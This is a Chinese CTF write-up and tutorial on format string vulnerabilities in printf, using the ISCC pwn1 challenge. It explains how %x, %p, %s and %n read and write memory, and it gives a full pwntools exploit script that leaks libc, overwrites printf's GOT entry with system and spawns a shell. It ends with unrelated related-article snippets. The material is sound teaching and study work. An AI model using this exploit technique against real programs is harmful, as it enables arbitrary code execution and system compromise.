格式化字符串利用小结

格式化字符串利用小结

格式化字符串漏洞基本原理:

Printf()函数的一般形式为printf(“format”,输出表列),其第一个参数就是格式化字符串,用来告诉程序以什么格式进行输出。正常情况下,这样使用:

char str[100];

scanf(“%s”,str);

printf(“%s”,str);

但也有人这么用:

char str[100]

scanf(“%s”,str);

printf(str)

也许代码编写者的本意只是单纯打印一段字符(如“hello world”),但如果这段字符串来源于外部用户可控的输入,则该用户完全可以在字符串中嵌入格式化字符(如%s)。那么,由于printf允许参数个数不固定,故printf会自动将这段字符当作format参数,而用其后内存中的数据匹配format参数。

以上图为例,假设调用printf(str)时的栈是这样的:

(1)如果str就是“Hello word”,则直接输出“hello world”

(2)如果str是format,例如:%2$p,就会输出format偏移2处到内存地址的内容!

实例分析:

下面我们来通过ISCC pwn1的格式化字符从来进行分析:

首先看下文件

file pwn1

pwn1: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), 

for GNU/Linux 2.6.24, BuildID[sha1]=cdb7eaa63202024dd348ac15b485b751b55eafa8, not stripped

运行下程序:

查看下保护机制:

发现只有NX保护机制。

看下反编译的源码:

发现漏洞在printf输出的地方。测试下:

果然出现了打印地址的情况,说明存在格式户字符串漏洞。

我们来调试熟悉格式化字符串的利用:

%c:输出字符,配上%n可用于向指定地址写数据。

%d:输出十进制整数,配上%n可用于向指定地址写数据。

%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。

%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

1、%x打印内存数据

首先在printf处下一个断点:

运行输入%x:

程序段在了我们的断点处。C继续运行

发现程序打印出了,format偏移1处的内存中的内容。

现在我们输入%5$x 看打印的内容是不是:0x1

果然输出了我们想要预设的偏移为5的数据,即为1.

2、%p打印内存数据

%p的用法和%x的用法相同,不同的是%p会在打印的数据前面添加上0x(输出16进制数据)。例如%5$p

然后试一下偏移四处的栈数据即我们预测的0xaffd014.输入%4$p,看效果。可以发现打印的是带有0x的数据内容,即十六进制数据。

3、%s打印内存数据

%i&s是打印处偏移i处地址里面数据指向的内存地址的内容。例如我们通过%3$s以字符串格式打印偏移3处的内容,就是0xffffd074指向的内容,即为0xffffd26c,下面我们看效果。

会发现打印的是L***为什么不是0xffffd26c呢?别急,看下转码。

内存小端存储,是以 6c d2 ff ff 形式存储,打印的就是0xffffd26c转换为字符串之后的形式。

4、%n写入内存数据

%n和%s类似,会把%好之前的字符个数,写入第i处数据指向的地址空间,我们实验下AAA%3$n,看看会不会把3写入到0xffffd074指向的内存,即覆盖0xffffd26c.

会看到,我们成功将3写入了0xffffd074指向的数据。这样我们就能够利用这一点来修改got表的地址了。

如果要写入具体的数据可以通过%datax%n$n,例如要写入数据0x48到偏移删除的位置,可以用%72x%3$n.(72是0x48的十进制数据。)

调试看效果:

可以发现偏移三处的位置,0xffffd074指向的数据被我们修改为了0x48(‘H‘).

例题链接:http://pan.baidu.com/s/1nv3NRVN 密码:8qjb

后面我们会结合实际的例题来完整的实例脚本。

还是这道题pwn1,刚刚我们对格式化字符串的参数利用方法,下面就是利用方式了。先看脚本:

 1 from pwn import*
 2
 3 local =1
 4 debug = 1
 5
 6 if local:
 7     p = process(‘./pwn1‘)
 8 else:
 9     p = remote("127.0.0.1",8080)
10
11 #context.log_level = ‘debug‘
12 ‘‘‘
13 if debug:
14     gdb.attach(p)
15 ‘‘‘
16 def fms(data):
17     p.recvuntil("input$",timeout=4)
18     p.sendline("1")
19     p.recvuntil("please input your name:\n")
20     p.sendline(data)
21
22
23 libc = ELF("/lib/i386-linux-gnu/libc.so.6")
24 elf = ELF(‘./pwn1‘)
25
26 fms(‘%35$p‘)
27
28 libc_start_main_addr = int(p.recv(10),16) - 243    #__libc_start_main
29 libc_addr = libc_start_main_addr - libc.symbols[‘__libc_start_main‘]
30 print "libc_addr =",hex(libc_addr)
31
32 printf_got = elf.got[‘printf‘]
33 print "printf_got =",hex(printf_got)
34
35 system_addr =libc_addr + libc.symbols[‘system‘]
36 print "system_addr =",hex(system_addr)
37
38 #make stack
39 make_stack = ‘a‘ * 0x30 + p32(printf_got) + p32(printf_got + 0x1)
40 fms(make_stack)
41 #gdb.attach(p)
42
43 payload = "%" + str(((system_addr & 0x000000FF))) + "x%18$hhn"
44 payload += "%" + str(((system_addr & 0x00FFFF00) >> 8) - (system_addr & 0x000000FF)) + "x%19$hn"
45 print "payload=",payload
46
47 fms(payload)
48 fms(‘/bin/sh\x00‘)
49 p.interactive()

看下这条语句:

 make_stack = ‘a‘ * 0x30 + p32(printf_got) + p32(printf_got + 0x1) 

目的是抬高栈:防止写入的数据被程序执行过程中被覆盖,语句如下,0x30这个数值可以自己定义。剩下的工作就是调试寻找偏移地址了。

利用思路:1、泄露地址:__libc_start_main —>libc_addr

     2、修改printf的got表内的地址为system函数的地址。

     3、通过源程序中的printf(/bin/sh),就变成了system(/bin/sh),取得了shell了。

参考链接:http://bobao.360.cn/learning/detail/3654.html

时间: 2024-08-04 16:52:08

格式化字符串利用小结的相关文章

30 字符串的基本操作 格式化字符串(%,Template类,format方法*****)

Python视频课程(5)-Python字符串 第一课 字符串的基本操作 # 字符串:基本操作 字符串取单个字母 s1 = "I love python." print(s1[7]) # p print(s1[11]) # o # print(s1[15]) # 超过字符串长度 会报错 # 利用分片截取字符串的子字符串 取一段区间的字符串 print(s1[7:13]) # python print(s1[7:]) # python. print(s1[::2]) # Ilv yhn

格式化字符串攻击原理及示例

一.类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型. 对于这种情况,可以使用省略号指定参数表. 带有省略号的函数定义中,参数表分为两部分,前半部分是确定个数.确定类型的参数,第二部分就是省略号,代表数目和类型都不确定的参数表,省略号参数表中参数的个数和参数的类型是事先的约定计算出来的,每个实参的地址(指针)是根据确定参数表中最后一个实参的地址算出来的. 这里涉及到函数调用时的栈操作.函数栈的栈底是高地址,栈顶是底地址.在函数调用 时

格式化字符串攻击原理及示例.RP

格式化字符串攻击原理及示例 一.类printf函数簇实现原理 类printf函数的最大的特点就是,在函数定义的时候无法知道函数实参的数目和类型. 对于这种情况,可以使用省略号指定参数表. 带有省略号的函数定义中,参数表分为两部分,前半部分是确定个数.确定类型的参数,第二部分就是省略号,代表数目和类型都不确定的参数表,省略号参数表中参数的个数和参数的类型是事先的约定计算出来的,每个实参的地址(指针)是根据确定参数表中最后一个实参的地址算出来的. 这里涉及到函数调用时的栈操作.函数栈的栈底是高地址,

详谈Format String(格式化字符串)漏洞

格式化字符串漏洞由于目前编译器的默认禁止敏感格式控制符,而且容易通过代码审计中发现,所以此类漏洞极少出现,一直没有笔者本人的引起重视.最近捣鼓pwn题,遇上了不少,决定好好总结了一下. 格式化字符串漏洞最早被Tymm Twillman在1999年发现,当时并未引起重视.在tf8的一份针对wu-ftpd格式化字符串漏洞实现任意代码执行的漏洞的报告之后(详情可参阅 <黑客攻防技术宝典-系统实战篇>),才让人们意识到它的危害,至此而发现了大量的相关漏洞. 格式化字符串漏洞的产生根源主要源于对用 户输

使用literal语法格式化字符串

支持arm64之后,格式化字符串的时候会遇到一些问题,主要与NSInteger的定义有关: #if __LP64__ || (TARGET_OS_EMBEDDED && !TARGET_OS_IPHONE) || TARGET_OS_WIN32 || NS_BUILD_32_LIKE_64 typedef long NSInteger; typedef unsigned long NSUInteger; #else typedef int NSInteger; typedef unsign

格式化字符串漏洞

这不是一篇完整的关于 "格式化字符串漏洞" 的文章我在学习中遇到问题所搜索到的一些零碎知识 在这做一下总结,  参考中的每一个链接都很好的 讲解了 "格式化字符串漏洞" 基本的格式化字符串参数:参考:http://bobao.360.cn/learning/detail/3654.html %c:输出字符,配上%n可用于向指定地址写数据. %d:输出十进制整数,配上%n可用于向指定地址写数据. %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数

变量与字符串的连接 - format、格式化字符串

变量与字符串的连接 先当以如下三个变量: name = 'wwb' age = '17' job = 'study' 方法一:利用+号进行连接 >>> info1 = '''Welcome to ''' + name +''''s code kingdom ... Name:''' + name +''' ... Age:''' + age +''' ... Job:''' + job >>> print(info1) Welcome to wwb's code kin

基础二(格式化字符串、运算符和编码)_day02

一.Python的输出 (1)纯输出一个字符串或数字 print("Hello World") #输出 Hello World print(34) #输出 34 (2)利用字符串连接符号(+)输出 name = input("请输入你的名字") #提示用户输入名字 print("您的名字是:"+name) 用字符串拼接就很麻烦了,所以就有了格式化字符串输出 (3)格式化字符串输出 1 #!/usr/bin/env python 2 # -*- c

Linux pwn入门教程——格式化字符串漏洞

本文作者:[email protected] 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如 然而,有时候为了省事也会写成 事实上,这是一种非常危险的写法.由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作. 0×01 利用格